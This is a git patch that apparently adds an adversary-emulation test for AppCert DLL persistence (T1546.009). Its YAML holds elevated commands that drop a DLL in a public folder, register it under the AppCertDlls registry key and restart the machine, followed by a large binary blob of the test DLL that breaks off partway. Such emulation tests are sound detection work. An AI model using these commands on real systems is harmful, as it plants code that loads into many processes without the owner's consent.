From a846bab9b2b4ace0193aed3b4bf6c8383c8f461a Mon Sep 17 00:00:00 2001 From: Jacques Decarie Date: Thu, 23 Jun 2022 00:08:15 -0400 Subject: [PATCH] T1546.009 (#2009) * attempt to stop service first, in case its already running * adding T1546.009 * correct T number Co-authored-by: Carrie Roberts --- atomics/T1546.009/T1546.009.yaml | 24 +++++++++++++ atomics/T1546.009/bin/AtomicTest.dll | Bin 0 -> 90112 bytes atomics/T1546.009/src/AtomicTest.c | 52 +++++++++++++++++++++++++++ atomics/T1546.009/src/AtomicTest.def | 2 ++ atomics/T1546.009/src/build.bat | 1 + 5 files changed, 79 insertions(+) create mode 100644 atomics/T1546.009/T1546.009.yaml create mode 100644 atomics/T1546.009/bin/AtomicTest.dll create mode 100644 atomics/T1546.009/src/AtomicTest.c create mode 100644 atomics/T1546.009/src/AtomicTest.def create mode 100644 atomics/T1546.009/src/build.bat diff --git a/atomics/T1546.009/T1546.009.yaml b/atomics/T1546.009/T1546.009.yaml new file mode 100644 index 00000000..3562899d --- /dev/null +++ b/atomics/T1546.009/T1546.009.yaml @@ -0,0 +1,24 @@ +attack_technique: T1546.009 +display_name: 'Event Triggered Execution: AppCert DLLs' +atomic_tests: +- name: Create registry persistence via AppCert DLL + description: | + Creates a new 'AtomicTest' value pointing to an AppCert DLL in the AppCertDlls registry key. + Once the computer restarted, the DLL will be loaded in multiple processes and write an + 'AtomicTest.txt' file in C:\Users\Public\ to validate that the DLL executed succesfully. + + Reference: https://skanthak.homepage.t-online.de/appcert.html + + supported_platforms: + - windows + executor: + command: | + Copy-Item $PathToAtomicsFolder\T1546.009\bin\AtomicTest.dll C:\Users\Public\AtomicTest.dll -Force + reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls" /v "AtomicTest" /t REG_EXPAND_SZ /d "C:\Users\Public\AtomicTest.dll" /f + Restart-Computer + cleanup_command: | + reg delete "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls" /v "AtomicTest" /f + Remove-Item C:\Users\Public\AtomicTest.dll -Force + Remove-Item C:\Users\Public\AtomicTest.txt -Force + name: powershell + elevation_required: true diff --git a/atomics/T1546.009/bin/AtomicTest.dll b/atomics/T1546.009/bin/AtomicTest.dll new file mode 100644 index 0000000000000000000000000000000000000000..e0370e96d9a66ae7341f8d973a07b916d8b5977b GIT binary patch literal 90112 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 